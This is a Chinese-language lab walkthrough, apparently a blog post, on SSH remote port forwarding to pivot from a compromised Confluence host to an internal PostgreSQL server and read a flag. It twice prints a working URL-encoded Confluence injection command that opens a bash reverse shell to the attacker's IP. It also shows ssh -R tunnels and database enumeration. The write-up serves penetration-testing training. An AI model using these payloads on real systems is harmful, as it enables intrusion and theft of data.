SSH Tunneling - Remote Port Forwarding

SSH Tunneling - Remote Port Forwarding


攻擊機 192.168.45.199

靶機 192.168.215.63、10.4.215.215

此環境限制是靶機端因防火牆的配置使得在 CONFLUENCE01 的 WAN 介面上綁定的端口無法順利連接,可以從 Kali 攻擊端機器連接到靶機的唯一端口是 TCP 8090

本次要利用的場景環境示意圖如下




將透過 SSH 從 CONFLUENCE01 連接到我們的 Kali 攻擊機器

Listen TCP 2345 Port 並綁定到 Kali 攻擊機器上的 loopback interface

傳送至此連接埠的封包由 Kali SSH 伺服器軟體透過 SSH 隧道推送回 CONFLUENCE01 上的 SSH 用戶端。然後它們被轉送到 PGDATABASE01 上的 PostgreSQL 資料庫連接埠。


第一步先確認 Kali 攻擊機上的 OPENSSH 服務啟動

指令 sudo systemctl start ssh



為了使用使用者名稱和密碼連接回 Kali SSH 伺服器,必須透過在 /etc/ssh/sshd_config 中將PasswordAuthentication 設定為 yes 來明確允許基於密碼的身份驗證





一樣先漏洞利用連回攻擊機 4444 Port 拿到 Remote Shell

curl -v http://192.168.215.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.199/4444%200%3E%261%27%29.start%28%29%22%29%7D/

然後確保 TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'




然後透過 連回 Kali SSH 並起 loopback 2345 Port 對應到遠端 10.4.215.215 5432 的 PostgreSQL Port,指令 ssh -N -R 127.0.0.1:2345:10.4.215.215:5432 kali@192.168.45.199

參數 -R : SSH 遠端連接埠轉送

最後一行雖然寫 failed 但先不用理他




在 kali 攻擊機上查看 ss -ntplu,已經起來了




目前的連線關係圖如下





接著直接在攻擊機上對自己的 2345 Port 下指令,實際上是從 CONFLUENCE01 送指令出去到

10.4.215.215 的 5432 Port,可以看到已經連到 PostgreSQL 那一台了

psql -h 127.0.0.1 -p 2345 -U postgres





列舉一下 DB,\l




接著選擇 hr_backup 資料庫,postgres-# \c hr_backup




接著 \dt 列出所有資料表,可以看到有個資料表 payroll



接著 \d payroll 列出 Table 欄位,可以看到有個欄位叫做 flag,看來答案在此表中




將資料抓出來看看,指令 select * from payroll;,拿到答案了




PostgreSQL 指令可以參考 https://hackmd.io/@TgCSOOWNTu62i4zpeQdzrA/r1Pe_6LDj




練習 : 

從 CONFLUENCE01 上的 Web 伺服器下載 /exercises/ssh_remote_client 處的二進位檔案 。

在 CONFLUENCE01 上建立 SSH 遠端連接埠轉發

讓您可以從 Kali 機器上針對 PGDATABASE01 上的連接埠 4444 執行二進位檔案。

注意:用於建置 ssh_remote_client 二進位檔案的來源檔案可以從 /exercises/client_source.zip 下載


先下載 ssh_remote_client,http://192.168.215.63:8090/exercises/ssh_remote_client




再下載 client_source.zip,http://192.168.215.63:8090/exercises/client_source.zip




下載後解壓縮並將檔案放在一起,建立了一個 1833 的資料夾




一樣第一步漏洞利用建立遠端的 Shell

curl -v http://192.168.215.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.199/1234%200%3E%261%27%29.start%28%29%22%29%7D/

然後確保 TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'






然後透過 連回 Kali SSH 並起 loopback 4444 Port 對應到遠端 10.4.215.215 4444 Port

指令 ssh -N -R 127.0.0.1:4444:10.4.215.215:4444 kali@192.168.45.199

參數 -R : SSH 遠端連接埠轉送

最後一行雖然寫 failed 但先不用理他





接著直接在攻擊機上對自己的 4444 Port 下指令,實際上是從 CONFLUENCE01 送指令出去到

10.4.215.215 的 4444 Port,./ssh_remote_client -p 4444 -i 127.0.0.1

記得要將 ssh_remote_client 權限改成可執行,就拿到 flag 了




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)